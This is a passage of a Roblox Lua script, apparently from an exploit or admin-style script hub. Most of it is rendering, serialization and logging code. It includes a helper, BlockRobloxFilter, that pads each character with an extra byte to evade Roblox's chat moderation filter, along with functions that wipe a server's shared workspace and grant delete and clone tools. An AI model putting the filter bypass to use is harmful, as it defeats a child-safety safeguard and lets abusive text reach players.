                        local vertexColor = Vector3.new(Utility.GetRainbowRGB(total_time)) * 0.25 + Vector3.new(1, 1, 1) * 0.75
757
                        core_light.Color = Color3.new(vertexColor.X, vertexColor.Y, vertexColor.Z)
758
                        core_light.Brightness = 0.85 + 0.15 * math.random()
759
                        if core_light.Range ~= 30 then
760
                                core_light.Range = 30
761
                        end
762
                        if not core_light.Shadows then
763
                                core_light.Shadows = true
764
                        end
765
                end
766
                if core_mesh.Offset ~= Vector3.new(0, 0, 0) then
767
                        core_mesh.Offset = Vector3.new(0, 0, 0)
768
                end
769
                if not core.Anchored then
770
                        core.Anchored = true
771
                end
772
                if core.Transparency ~= 0 then
773
                        core.Transparency = 0
774
                end
775
                local core_mesh_scale = PyramidCharacter.core_mesh_scale
776
                local transition_speed = (math.sin(total_time * math.tau) + 1) / 16
777
                core_mesh_scale = core_mesh_scale * (1 - transition_speed) + Vector3.new(math.random() * 0.5 + 0.5, math.random() * 0.5 + 0.5, math.random()
778
 
779
* 0.5 + 0.5) * transition_speed
780
                core_mesh.Scale = core_mesh_scale * 2
781
                local center = CFrame.new(PyramidCharacter.camera_position) * CFrame.Angles(0, total_time * math.tau, 0)
782
                local cframe1 = CFrame.new(PyramidCharacter.head_radius, 0, 0)
783
                local cframe2 = CFrame.Angles(math.tau / -3, 0, 0)
784
                local cframe3 = CFrame.Angles(0, math.tau / 3, 0)
785
                local cframe4 = center * cframe3               
786
                local desired1 = center * CFrame.new(0, PyramidCharacter.head_radius, 0)
787
                local desired2 = center * cframe2 * cframe1
788
                local desired3 = cframe4 * cframe2 * cframe1
789
                local desired4 = cframe4 * cframe3 * cframe2 * cframe1
790
                local point1 = (PyramidCharacter.point1 * 3 + desired1.p) / 4
791
                local point2 = (PyramidCharacter.point2 * 3 + desired2.p) / 4
792
                local point3 = (PyramidCharacter.point3 * 3 + desired3.p) / 4
793
                local point4 = (PyramidCharacter.point4 * 3 + desired4.p) / 4
794
                PyramidCharacter.point1 = point1
795
                PyramidCharacter.point2 = point2
796
                PyramidCharacter.point3 = point3
797
                PyramidCharacter.point4 = point4
798
                local head_properties = PyramidCharacter.head_properties
799
                PyramidCharacter.CreateTriangle(point1, point2, point3, head_properties, frame, 1).Archivable = false
800
                PyramidCharacter.CreateTriangle(point2, point3, point4, head_properties, frame, 2).Archivable = false
801
                PyramidCharacter.CreateTriangle(point3, point4, point1, head_properties, frame, 3).Archivable = false
802
                PyramidCharacter.CreateTriangle(point4, point1, point2, head_properties, frame, 4).Archivable = false
803
                core.CFrame = CFrame.new((point1 + point2 + point3 + point4) / 4) * CFrame.Angles(total_time * math.tau, total_time * math.tau / 2,
804
 
805
total_time * math.tau / 3)
806
                PyramidCharacter.center = center
807
        else
808
                if core.Parent then
809
                        core:Destroy()
810
                end
811
                if frame and frame.Parent then
812
                        frame:Destroy()
813
                end
814
                PyramidCharacter.frame = nil
815
        end
816
end
817
function PyramidCharacter.MainLoop()
818
        PyramidCharacter.Animate()
819
        RunService.Stepped:wait()
820
end
821
TaskScheduler.Start(function()
822
        while true do
823
                PyramidCharacter.MainLoop()
824
        end
825
end)
826
827
RBXInstance = {};
828
829
RBXInstance.init_metatable = {}
830
function RBXInstance.init_metatable:__call(data)
831
        local instance = Instance.new(self[1])
832
        for key, value in pairs(data) do
833
                if type(key) == "number" then
834
                        value.Parent = instance
835
                else
836
                        instance[key] = value
837
                end
838
        end
839
        return instance
840
end
841
function RBXInstance.new(className)
842
        return setmetatable({className}, RBXInstance.init_metatable)
843
end
844
845
Utility = {};
846
847
function Utility.CleanLighting()
848
        Lighting.Ambient = Color3.new(0, 0, 0)
849
        Lighting.Brightness = 1
850
        Lighting.ColorShift_Bottom = Color3.new(0, 0, 0)
851
        Lighting.ColorShift_Top = Color3.new(0, 0, 0)
852
        Lighting.FogColor = Color3.new(0.75294125080109, 0.75294125080109, 0.75294125080109)
853
        Lighting.FogEnd = 100000
854
        Lighting.FogStart = 0
855
        Lighting.GeographicLatitude = 41.733299255371095
856
        Lighting.GlobalShadows = true
857
        Lighting.OutdoorAmbient = Color3.new(0.5, 0.5, 0.5)
858
        Lighting.Outlines = false
859
        Lighting.ShadowColor = Color3.new(0.70196080207825, 0.70196080207825, 0.72156864404678)
860
        Lighting.TimeOfDay = "14:00:00"
861
        for index, child in ipairs(Lighting:GetChildren()) do
862
                if child:IsA("Sky") then
863
                        child:Destroy()
864
                end
865
        end
866
end
867
868
function Utility.GetProperty(object, field)
869
        return object[field]
870
end
871
872
function Utility.CaseInsensitivePattern(pattern)
873
        return string.gsub(pattern, "(%%?)(.)", Utility.CaseInsensitivePatternReplaceFunc)
874
end
875
function Utility.CaseInsensitivePatternReplaceFunc(percent, letter)
876
        if percent ~= "" or not letter:match("%a") then
877
                return percent .. letter
878
        else
879
                return "[" .. string.lower(letter) .. string.upper(letter) .. "]"
880
        end
881
end
882
function Utility.FindHumanoidClosestToRay(ray, exlusionList)
883
        local view = CFrame.new(ray.Origin, ray.Origin + ray.Direction)
884
        local inverseView = view:inverse()
885
        local objects = Workspace:GetChildren()
886
        local numObjects = #objects
887
        local minDistance = math.huge
888
        local closestHumanoid, closestTorso, closestTorsoPosition
889
        for index, object in ipairs(objects) do
890
                for index, child in ipairs(object:GetChildren()) do
891
                        numObjects = numObjects + 1
892
                        objects[numObjects] = child
893
                end
894
                if object.ClassName == "Humanoid" and object.Health > 0 then
895
                        local torso = object.Torso
896
                        if torso and not (exlusionList and exlusionList[torso]) then
897
                                local torsoPosition = torso.Position
898
                                local relativePosition = inverseView * torsoPosition
899
                                local distanceZ = -relativePosition.Z
900
                                if distanceZ > 0 then
901
                                        local distance = (inverseView * torsoPosition * Vector3.new(1, 1, 0)).magnitude / distanceZ
902
                                        if distance < 0.25 and distance < minDistance then
903
                                                closestHumanoid = object
904
                                                closestTorso = torso
905
                                                closestTorsoPosition = torsoPosition
906
                                                minDistance = distance
907
                                        end
908
                                end
909
                        end
910
                end
911
        end
912
        return closestHumanoid, closestTorso, closestTorsoPosition, minDistance
913
end
914
function Utility.FindLocalHead()
915
        if Player then
916
                local head, position, view
917
                pcall(function()
918
                        position = Camera.Focus.p
919
                        view = Camera.CoordinateFrame
920
                end)
921
                pcall(function()
922
                        for _, child in ipairs(Workspace:GetChildren()) do
923
                                if Players:GetPlayerFromCharacter(child) == Player then
924
                                        for _, child in ipairs(child:GetChildren()) do
925
                                                if tostring(child) == "Head" and pcall(assert, pcall(Game.IsA, child, "BasePart")) then
926
                                                        head = child
927
                                                        break
928
                                                end
929
                                        end
930
                                        break
931
                                end
932
                        end
933
                        if not head and view then
934
                                local min_distance = math.huge
935
                                local objects = Workspace:GetChildren()
936
                                for _, object in ipairs(objects) do
937
                                        local success, is_part = pcall(Game.IsA, object, "BasePart")
938
                                        if success and is_part then
939
                                                pcall(function()
940
                                                        local distance = (view:pointToObjectSpace(object.Position) * Vector3.new(1, 1, 0)).magnitude
941
                                                        if distance < min_distance and distance < 1 then
942
                                                                min_distance = distance
943
                                                                head = object
944
                                                        elseif tostring(object) == "Head" and tostring(object.Parent):lower():match("^" .. tostring(Player):lower()) then
945
                                                                min_distance = 0
946
                                                                head = object
947
                                                        end
948
                                                end)
949
                                                if min_distance < 5e-4 then
950
                                                        break
951
                                                end
952
                                        end
953
                                                pcall(function()
954
                                                if not object:IsA("Camera") then
955
                                                        for _, child in ipairs(object:GetChildren()) do
956
                                                                objects[#objects + 1] = child
957
                                                        end
958
                                                end
959
                                        end)
960
                                end
961
                        end
962
                end)
963
                return head, position, view
964
        end
965
end
966
function Utility.GetBuildingTools()
967
        local backpack = Player:FindFirstChild("Backpack")
968
        if backpack then
969
                local moveTool = Instance.new("HopperBin")
970
                local cloneTool = Instance.new("HopperBin")
971
                local deleteTool = Instance.new("HopperBin")
972
                moveTool.BinType = Enum.BinType.GameTool
973
                cloneTool.BinType = Enum.BinType.Clone
974
                deleteTool.BinType = Enum.BinType.Hammer
975
                moveTool.Parent = backpack
976
                cloneTool.Parent = backpack
977
                deleteTool.Parent = backpack
978
        end
979
end
980
function Utility.Rejoin()
981
        Workspace.Parent:service'TeleportService':Teleport(Game.PlaceId)
982
end
983
984
function Utility.BlockRobloxFilter(text)
985
	return string.gsub(text, ".", "%1\143")
986
end
987
988
function Utility.GetTimestamp()
989
	local unix_time = tick()
990
	local time_secs = math.floor(unix_time % 60)
991
	local time_mins = math.floor(unix_time / 60 % 60)
992
	local time_hours = math.floor(unix_time / 3600 % 24)
993
	return string.format("%02i:%02i:%02i", time_hours, time_mins, time_secs)
994
end
995
996
function Utility.GetRainbowRGB(hue)
997
        local section = hue % 1 * 3
998
        local secondary = 0.5 * math.pi * (section % 1)
999
        if section < 1 then
1000
                return 1, 1 - math.cos(secondary), 1 - math.sin(secondary)
1001
        elseif section < 2 then
1002
                return 1 - math.sin(secondary), 1, 1 - math.cos(secondary)
1003
        else
1004
                return 1 - math.cos(secondary), 1 - math.sin(secondary), 1
1005
        end
1006
end
1007
1008
function Utility.SetProperty(object, field, value)
1009
        object[field] = value
1010
end
1011
1012
function Utility.CleanWorkspace()
1013
        for index, child in ipairs(Workspace:GetChildren()) do
1014
                if not (Players:GetPlayerFromCharacter(child) or child.ClassName == "Camera" or child:IsA("Script") or child.ClassName == "Terrain") then
1015
                        pcall(child.Destroy, child)
1016
                end
1017
        end
1018
        Workspace.Terrain:Clear()
1019
        local base = Instance.new("Part")
1020
        base.Anchored = true
1021
        base.BrickColor = BrickColor.new("Earth green")
1022
        base.Locked = true
1023
        base.Name = "Base"
1024
        base.Size = Vector3.new(512, 1.2, 512)
1025
        base.Parent = Workspace
1026
end
1027
1028
function Utility.CleanWorkspaceAndScripts()
1029
        for index, child in ipairs(Workspace:GetChildren()) do
1030
                if not (Players:GetPlayerFromCharacter(child) or child.ClassName == "Camera" or child.ClassName == "Terrain") then
1031
                        pcall(child.Destroy, child)
1032
                end
1033
        end
1034
        Workspace.Terrain:Clear()
1035
        local base = Instance.new("Part")
1036
        base.Anchored = true
1037
        base.BrickColor = BrickColor.new("Earth green")
1038
        base.Locked = true
1039
        base.Name = "Base"
1040
        base.Size = Vector3.new(512, 1.2, 512)
1041
        base.Parent = Workspace
1042
end
1043
1044
function Utility.CreateDummy(cframe, name, parent)
1045
        local model = Instance.new("Model")
1046
        model.Archivable = false
1047
        model.Name = name
1048
        local humanoid = Instance.new("Humanoid", model)
1049
        local head = Instance.new("Part", model)
1050
        local face = Instance.new("Decal", head)
1051
        local head_mesh = Instance.new("SpecialMesh", head)
1052
        local torso = Instance.new("Part", model)
1053
        local right_arm = Instance.new("Part", model)
1054
        local left_arm = Instance.new("Part", model)
1055
        local right_leg = Instance.new("Part", model)
1056
        local left_leg = Instance.new("Part", model)
1057
        local neck = Instance.new("Motor", torso)
1058
        local right_shoulder = Instance.new("Motor", torso)
1059
        local left_shoulder = Instance.new("Motor", torso)
1060
        local right_hip = Instance.new("Motor", torso)
1061
        local left_hip = Instance.new("Motor", torso)
1062
        head.BrickColor = BrickColor.Yellow()
1063
        head.CFrame = cframe * CFrame.new(0, 1.5, 0)
1064
        head.FormFactor = "Symmetric"
1065
        head.Locked = true
1066
        head.Name = "Head"
1067
        head.Size = Vector3.new(2, 1, 1)
1068
        head.TopSurface = "Smooth"
1069
        face.Texture = "rbxasset://textures/face.png"
1070
        head_mesh.Scale = Vector3.new(1.25, 1.25, 1.25)
1071
        torso.BrickColor = BrickColor.Blue()
1072
        torso.CFrame = cframe
1073
        torso.FormFactor = "Symmetric"
1074
        torso.LeftSurface = "Weld"
1075
        torso.Locked = true
1076
        torso.RightSurface = "Weld"
1077
        torso.Name = "Torso"
1078
        torso.Size = Vector3.new(2, 2, 1)
1079
        right_arm.BrickColor = BrickColor.Yellow()
1080
        right_arm.CanCollide = false
1081
        right_arm.CFrame = cframe * CFrame.new(1.5, 0, 0)
1082
        right_arm.FormFactor = "Symmetric"
1083
        right_arm.Locked = true
1084
        right_arm.Name = "Right Arm"
1085
        right_arm.Size = Vector3.new(1, 2, 1)
1086
        left_arm.BrickColor = BrickColor.Yellow()
1087
        left_arm.CanCollide = false
1088
        left_arm.CFrame = cframe * CFrame.new(-1.5, 0, 0)
1089
        left_arm.FormFactor = "Symmetric"
1090
        left_arm.Locked = true
1091
        left_arm.Name = "Left Arm"
1092
        left_arm.Size = Vector3.new(1, 2, 1)
1093
        right_leg.BrickColor = BrickColor.new("Br. yellowish green")
1094
        right_leg.BottomSurface = "Smooth"
1095
        right_leg.CanCollide = false
1096
        right_leg.CFrame = cframe * CFrame.new(0.5, -2, 0)
1097
        right_leg.FormFactor = "Symmetric"
1098
        right_leg.Locked = true
1099
        right_leg.Name = "Right Leg"
1100
        right_leg.Size = Vector3.new(1, 2, 1)
1101
        right_leg.TopSurface = "Smooth"
1102
        left_leg.BrickColor = BrickColor.new("Br. yellowish green")
1103
        left_leg.BottomSurface = "Smooth"
1104
        left_leg.CanCollide = false
1105
        left_leg.CFrame = cframe * CFrame.new(-0.5, -2, 0)
1106
        left_leg.FormFactor = "Symmetric"
1107
        left_leg.Locked = true
1108
        left_leg.Name = "Left Leg"
1109
        left_leg.Size = Vector3.new(1, 2, 1)
1110
        left_leg.TopSurface = "Smooth"
1111
        neck.C0 = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
1112
        neck.C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
1113
        neck.Name = "Neck"
1114
        neck.Part0 = torso
1115
        neck.Part1 = head
1116
        right_shoulder.C0 = CFrame.new(1, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
1117
        right_shoulder.C1 = CFrame.new(-0.5, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
1118
        right_shoulder.MaxVelocity = 0.15
1119
        right_shoulder.Name = "Right Shoulder"
1120
        right_shoulder.Part0 = torso
1121
        right_shoulder.Part1 = right_arm
1122
        left_shoulder.C0 = CFrame.new(-1, 0.5, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
1123
        left_shoulder.C1 = CFrame.new(0.5, 0.5, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
1124
        left_shoulder.MaxVelocity = 0.15
1125
        left_shoulder.Name = "Left Shoulder"
1126
        left_shoulder.Part0 = torso
1127
        left_shoulder.Part1 = left_arm
1128
        right_hip.C0 = CFrame.new(1, -1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
1129
        right_hip.C1 = CFrame.new(0.5, 1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
1130
        right_hip.MaxVelocity = 0.1
1131
        right_hip.Name = "Right Hip"
1132
        right_hip.Part0 = torso
1133
        right_hip.Part1 = right_leg
1134
        left_hip.C0 = CFrame.new(-1, -1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
1135
        left_hip.C1 = CFrame.new(-0.5, 1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
1136
        left_hip.MaxVelocity = 0.1
1137
        left_hip.Name = "Left Hip"
1138
        left_hip.Part0 = torso
1139
        left_hip.Part1 = left_leg
1140
        humanoid.Died:connect(function()
1141
                wait(5)
1142
                model:Destroy()
1143
        end)
1144
        model.Parent = parent
1145
        return model   
1146
end
1147
1148
Serializer = {};
1149
1150
Serializer.NAN = math.abs(0 / 0)
1151
1152
function Serializer.DecodeFloatArray(metadata_size, lookup, data, index)
1153
	local metadata_bytes = math.ceil(metadata_size * 0.25)
1154
	local metadata = {string.byte(data, index, index + metadata_bytes - 1)}
1155
	local components = {}
1156
	local start_index = index
1157
	index = index + metadata_bytes
1158
	for byte_index, byte in ipairs(metadata) do
1159
		local last_offset = 3
1160
		if byte_index == metadata_bytes then
1161
			last_offset = (metadata_size - 1) % 4
1162
		end
1163
		for value_offset = 0, last_offset do
1164
			local value_code = byte * 0.25 ^ value_offset % 4
1165
			value_code = value_code - value_code % 1
1166
			if value_code == 0 then
1167
				table.insert(components, Serializer.DecodeFloat32(string.byte(data, index, index + 3)))
1168
				index = index + 4
1169
			else
1170
				table.insert(components, lookup[value_code])
1171
			end
1172
		end
1173
	end
1174
	return components, index - start_index
1175
end
1176
function Serializer.EncodeFloatArray(values, common)
1177
	local lookup = {[common[1]] = 1, [common[2]] = 2, [common[3]] = 3}
1178
	local value_count = #values
1179
	local metadata_bytes = math.ceil(value_count * 0.25)
1180
	local metadata = {}
1181
	local buffer = {}
1182
	for byte_index = 1, metadata_bytes do
1183
		local last_offset = 3
1184
		if byte_index == metadata_bytes then
1185
			last_offset = (value_count - 1) % 4
1186
		end
1187
		local metadata_byte = 0
1188
		local offset_multiplier = 1
1189
		local byte_offset = (byte_index - 1) * 4 + 1
1190
		for value_offset = 0, last_offset do
1191
			local value_index = byte_offset + value_offset
1192
			local value = values[value_index]
1193
			local code = lookup[value] or 0
1194
			metadata_byte = metadata_byte + code * offset_multiplier
1195
			offset_multiplier = offset_multiplier * 4
1196
			if code == 0 then
1197
				table.insert(buffer, Serializer.EncodeFloat32(value))
1198
			end
1199
		end
1200
		metadata[byte_index] = string.char(metadata_byte)
1201
	end
1202
	return table.concat(metadata) .. table.concat(buffer)
1203
end
1204
1205
function Serializer.DecodeColor3(data, index)
1206
	local components, size = Serializer.DecodeFloatArray(3, {0, 0.5, 1}, data, index)
1207
	return Color3.new(unpack(components)), size
1208
end
1209
function Serializer.DecodeFloat32(b0, b1, b2, b3)
1210
	local b2_low = b2 % 128
1211
	local mantissa = b0 + (b1 + b2_low * 256) * 256
1212
	local exponent = (b2 - b2_low) / 128 + b3 % 128 * 2
1213
	local number
1214
	if mantissa == 0 then
1215
		if exponent == 0 then
1216
			number = 0
1217
		elseif exponent == 0xFF then
1218
			number = math.huge
1219
		else
1220
			number = 2 ^ (exponent - 127)
1221
		end
1222
	elseif exponent == 255 then
1223
		number = Serializer.NAN
1224
	else
1225
		number = (1 + mantissa / 8388608) * 2 ^ (exponent - 127)
1226
	end
1227
	if b3 >= 128 then
1228
		return -number
1229
	else
1230
		return number
1231
	end 
1232
end
1233
function Serializer.EncodeColor3(color3)
1234
	return Serializer.EncodeFloatArray({color3.r, color3.g, color3.b}, {0, 0.5, 1})
1235
end
1236
function Serializer.EncodeFloat32(number)
1237
	if number == 0 then
1238
		if 1 / number > 0 then
1239
			return "\0\0\0\0"
1240
		else
1241
			return "\0\0\0\128"
1242
		end
1243
	elseif number ~= number then
1244
	    if string.sub(tostring(number), 1, 1) == "-" then
1245
		    return "\255\255\255\255"
1246
		else
1247
		    return "\255\255\255\127"
1248
		end
1249
	elseif number == math.huge then
1250
		return "\0\0\128\127"
1251
	elseif number == -math.huge then
1252
		return "\0\0\128\255"
1253
	else
1254
		local b3 = 0
1255
		if number < 0 then
1256
			number = -number
1257
			b3 = 128
1258
		end
1259
		local mantissa, exponent = math.frexp(number)
1260
		exponent = exponent + 126
1261
		if exponent < 0 then
1262
			return "\0\0\0" .. string.char(b3)
1263
		elseif exponent >= 255 then
1264
			return "\0\0\128" .. string.char(b3 + 0x7F)
1265
		else
1266
			local fraction = mantissa * 16777216 - 8388608 + 0.5
1267
			fraction = fraction - fraction % 1
1268
			local exponent_low = exponent % 2
1269
			local b0 = fraction % 256
1270
			local b1 = fraction % 65536
1271
			local b2 = (fraction - b1) / 65536 + exponent_low * 128
1272
			b1 = (b1 - b0) / 256
1273
			b3 = b3 + (exponent - exponent_low) / 2
1274
			return string.char(b0, b1, b2, b3)
1275
		end
1276
	end
1277
end
1278
1279
LuaEnum = {};
1280
1281
LuaEnum.enum_metatable = {
1282
	__call = function(self, value)
1283
		local valueType = type(value)
1284
		if valueType == "table" and getmetatable(value) == LuaEnum.enum_item_metatable then
1285
			return value
1286
		else
1287
			return self[value]
1288
		end
1289
	end,
1290
	__index = function(self, key)
1291
		local enumItem = self.ItemsByName[key] or self.ItemsByValue[key]
1292
		if enumItem == nil then
1293
			local default = self.Default
1294
			if default then
1295
				Logger.printf("Warning", "%s is not a valid EnumItem, returning default (%s)", Utility.ToString(key), tostring(default))
1296
				enumItem = default
1297
			else
1298
				Logger.errorf(2, "%s is not a valid EnumItem", Utility.ToString(key))
1299
			end
1300
		end
1301
		return enumItem
1302
	end,
1303
	__tostring = function(self)
1304
		return self.Name
1305
	end
1306
}
1307
LuaEnum.enum_item_metatable = {
1308
	__tostring = function(self)
1309
		return self.Enum.Name .. "." .. self.Name
1310
	end
1311
}
1312
LuaEnum.init_metatable = {
1313
	__call = function(self, items)
1314
		local enumItemsByName = {}
1315
		local enumItemsByValue = {}
1316
		local enum = {
1317
			ItemsByName = enumItemsByName,
1318
			ItemsByValue = enumItemsByValue,
1319
			Name = self[1]
1320
		}
1321
		local default = items.Default
1322
		if default ~= nil then
1323
			items.Default = nil
1324
		end
1325
		for value, name in pairs(items) do
1326
			local enumItem = setmetatable({
1327
				Enum = enum,
1328
				Name = name,
1329
				Value = value
1330
			}, LuaEnum.enum_item_metatable)
1331
			enumItemsByName[name] = enumItem
1332
			enumItemsByValue[value] = enumItem
1333
			if name == default or value == default then
1334
				enum.Default = enumItem
1335
			end
1336
		end
1337
		return setmetatable(enum, LuaEnum.enum_metatable)
1338
	end
1339
}
1340
function LuaEnum.new(name)
1341
	return setmetatable({name}, LuaEnum.init_metatable)
1342
end
1343
1344
Logger = {};
1345
1346
Logger.entries = {0}
1347
Logger.MessageType = LuaEnum.new "MessageType" {
1348
	"Output",
1349
	"Info",
1350
	"Warning",
1351
	"Severe",
1352
	"Error",
1353
	Default = "Severe"
1354
}
1355
Logger.MESSAGE_TYPE_SETTINGS = {
1356
	{ -- Output
1357
		Font = "Arial",
1358
		TextColor3 = Color3.new(0, 0, 0)
1359
	},
1360
	{ -- Info
1361
		Font = "Arial",
1362
		TextColor3 = Color3.new(0, 0, 1)
1363
	},
1364
	{ -- Warning
1365
		Font = "ArialBold",
1366
		TextColor3 = Color3.new(1, 0.5, 0)
1367
	},
1368
	{ -- Severe/Error
1369
		Font = "ArialBold",
1370
		TextColor3 = Color3.new(1, 0, 0)
1371
	}
1372
}
1373
Logger.MAX_ENTRIES = 160
1374
Logger.WARNING_TRACE_ITEM_COUNT = 5
1375
Logger.rbxPrint = getfenv(RbxUtility.CreateSignal).print
1376
function Logger.error(level, message)
1377
	message = message .. "\n" .. Logger.StackTraceToString(Logger.GenerateStackTrace(level + 1))
1378
	Logger.AddEntry {Logger.MessageType.Error, message}
1379
	error(level + 1, message)
1380
end
1381
function Logger.errorf(level, messageFormat, ...)
1382
	Logger.error(level + 1, string.format(messageFormat, ...))
1383
end
1384
function Logger.print(messageType, message, level)
1385
	messageType = Logger.MessageType(messageType)
1386
	local entry = {messageType, message}
1387
	Logger.rbxPrint(Logger.EntryToString(entry))
1388
	Logger.AddEntry(entry)
1389
	if level ~= false and messageType.Value >= Logger.MessageType.Warning.Value then
1390
		local maxItems
1391
		if messageType.Value >= Logger.MessageType.Severe.Value then
1392
			maxItems = math.huge
1393
		else
1394
			maxItems = Logger.WARNING_TRACE_ITEM_COUNT
1395
		end
1396
		local trace = Logger.GenerateStackTrace((level or 1) + 1, math.huge, 10, maxItems + 1)
1397
		local traceLength = #trace
1398
		local stackTraceMessage
1399
		local suffix = ""
1400
		if traceLength > maxItems then
1401
			trace[traceLength] = nil
1402
			suffix = "\n..."
1403
		end
1404
		Logger.print("Info", "Stack trace:\n" .. Logger.StackTraceToString(trace) .. suffix .. "\nStack end", false)
1405
	end
1406
end
1407
function Logger.printf(messageType, messageFormat, ...)
1408
	Logger.print(messageType, string.format(messageFormat, ...), 2)
1409
end
1410
function Logger.AddEntry(entry)
1411
	local entries = Logger.entries
1412
	if entries[1] >= Logger.MAX_ENTRIES then
1413
		local first = entries[2]
1414
		local nextFirst = first[2]
1415
		first[1] = nil
1416
		first[2] = nil
1417
		entries[1] = entries[1] - 1
1418
		entries[2] = nextFirst
1419
		if not nextFirst then
1420
			entries[3] = nil
1421
		end
1422
	end
1423
	local last = entries[3]
1424
	local node = {entry}
1425
	if last then
1426
		entries[3] = node
1427
		last[2] = node
1428
	else
1429
		entries[2] = node
1430
		entries[3] = node
1431
	end
1432
	entries[1] = entries[1] + 1
1433
end
1434
function Logger.NodeIterator(list, node)
1435
	if node then
1436
		node = node[2]
1437
	else
1438
		node = list[2]
1439
	end
1440
	if node then
1441
		return node, node[1]
1442
	end
1443
end
1444
function Logger.EntryToString(entry)
1445
	local messageType, message = entry[1], tostring(entry[2])
1446
	if messageType and messageType.Value >= Logger.MessageType.Info.Value then
1447
		return messageType.Name .. ": " .. message
1448
	else
1449
		return message
1450
	end
1451
end
1452
function Logger.GenerateStackTrace(level, maxLevel, maxTailCalls, maxTraceItems)
1453
	level = level + 2
1454
	if maxLevel == nil then
1455
		maxLevel = math.huge
1456
	else
1457
		maxLevel = maxLevel + 2
1458
	end
1459
	maxTailCalls = maxTailCalls or 10
1460
	maxTraceItems = maxTraceItems or math.huge
1461
	local trace = {}
1462
	local numTailCalls = 0
1463
	while level <= maxLevel and numTailCalls <= maxTailCalls and #trace < maxTraceItems do
1464
		local success, errorMessage = xpcall(function() error("-", level + 1) end, function(...) return ... end)
1465
		if errorMessage == "-" then
1466
			numTailCalls = numTailCalls + 1
1467
		else
1468
			if numTailCalls > 0 then
1469
				local traceSize = #trace
1470
				if traceSize > 0 then
1471
					trace[#trace][3] = numTailCalls
1472
				end
1473
				numTailCalls = 0
1474
			end
1475
			local script, line = string.match(errorMessage, "(.*):(%d+)")
1476
			trace[#trace + 1] = {script, tonumber(line), 0}
1477
		end
1478
		level = level + 1
1479
	end
1480
	return trace
1481
end
1482
function Logger.StackTraceToString(trace)
1483
	local buffer = {}
1484
	for _, data in ipairs(trace) do
1485
		buffer[#buffer + 1] = string.format("Script %q, line %d", data[1], data[2])
1486
		local numTailCalls = data[3]
1487
		if numTailCalls == 1 then
1488
			buffer[#buffer + 1] = "... 1 tail call"
1489
		elseif numTailCalls > 1 then
1490
			buffer[#buffer + 1] = string.format("... %d tail calls", numTailCalls)
1491
		end
1492
	end
1493
	return table.concat(buffer, "\n")
1494
end
1495
function Logger.MessageOutFunc(message, messageType)
1496
	if AdvancedGUI and AdvancedGUI.Print then
1497
		local messageTypeValue
1498
		if messageType == Enum.MessageType.MessageOutput then
1499
			local tagName, untaggedMessage = string.match(message, "(%a+): (.*)")
1500
			if tagName == "Info" or tagName == "Warning" or tagName == "Severe" then
1501
				messageTypeValue = Logger.MessageType[tagName].Value
1502
				message = untaggedMessage
1503
			else
1504
				messageTypeValue = Logger.MessageType.Output.Value
1505
			end
1506
		else
1507
			messageTypeValue = messageType.Value + 1
1508
		end
1509
		AdvancedGUI.PrintFormat(Logger.MESSAGE_TYPE_SETTINGS[messageTypeValue], message)
1510
	end
1511
end
1512
function print(...)
1513
	local args = {...}
1514
	local buffer = {}
1515
	for index = 1, select("#", ...) do
1516
		buffer[index] = tostring(args[index])
1517
	end
1518
	local message = table.concat(buffer, "\t")
1519
	Logger.print("Output", message)
1520
end
1521
1522
CharacterAppearance = {};
1523
1524
CharacterAppearance.defaultAppearanceId = 4
1525
CharacterAppearance.stock = {}
1526
function CharacterAppearance.Create(properties)
1527
	local id = properties.Id
1528
	local bodyColors = Instance.new("BodyColors")
1529
	bodyColors.HeadColor = properties.HeadColor
1530
	bodyColors.TorsoColor = properties.TorsoColor
1531
	bodyColors.RightArmColor = properties.RightArmColor
1532
	bodyColors.LeftArmColor = properties.LeftArmColor
1533
	bodyColors.RightLegColor = properties.RightLegColor
1534
	bodyColors.LeftLegColor = properties.LeftLegColor
1535
	local characterObjects = {bodyColors}
1536
	local headObjects = {}	
1537
	local data = {
1538
		characterObjects = characterObjects,
1539
		headObjects = headObjects,
1540
		tshirt = properties.TShirt
1541
	}
1542
	for _, assetId in ipairs(properties.CharacterAssets) do
1543
		TaskScheduler.Start(CharacterAppearance.LoadAsset, characterObjects, assetId)
1544
	end
1545
	for _, assetId in ipairs(properties.HeadAssets) do
1546
		TaskScheduler.Start(CharacterAppearance.LoadAsset, headObjects, assetId)
1547
	end
1548
	CharacterAppearance.stock[id] = data
1549
end
1550
function CharacterAppearance.GetDefaultAppearance()
1551
	return CharacterAppearance.stock[CharacterAppearance.defaultAppearanceId]
1552
end
1553
function CharacterAppearance.LoadAsset(objects, assetId)
1554
	local asset = InsertService:LoadAsset(assetId)
1555
	for _, child in ipairs(asset:GetChildren()) do
1556
		child.Archivable = true
1557
		table.insert(objects, child:Clone())
1558
	end
1559
end
1560
CharacterAppearance.Create {
1561
	Id = 1,
1562
	HeadColor = BrickColor.new("Institutional white"),
1563
	TorsoColor = BrickColor.new("Institutional white"),
1564
	RightArmColor = BrickColor.new("Institutional white"),
1565
	LeftArmColor = BrickColor.new("Institutional white"),
1566
	RightLegColor = BrickColor.new("Institutional white"),
1567
	LeftLegColor = BrickColor.new("Institutional white"),
1568
	CharacterAssets = {
1569
		90825058, 90825211,
1570
		27112056, 27112052,
1571
		27112039, 27112025,
1572
		27112068, 38322996
1573
	},
1574
	HeadAssets = {
1575
		20722130,
1576
		8330576
1577
	}
1578
}
1579
CharacterAppearance.Create {
1580
	Id = 2,
1581
	HeadColor = BrickColor.new("Institutional white"),
1582
	TorsoColor = BrickColor.new("Institutional white"),
1583
	RightArmColor = BrickColor.new("Institutional white"),
1584
	LeftArmColor = BrickColor.new("Institutional white"),
1585
	RightLegColor = BrickColor.new("Institutional white"),
1586
	LeftLegColor = BrickColor.new("Institutional white"),
1587
	CharacterAssets = {
1588
		90825058, 90825211,
1589
		11748356, 1029025,
1590
		1235488, 27112056,
1591
		27112052, 27112039,
1592
		27112025, 27112068
1593
	},
1594
	HeadAssets = {
1595
		20722130
1596
	}
1597
}
1598
CharacterAppearance.Create {
1599
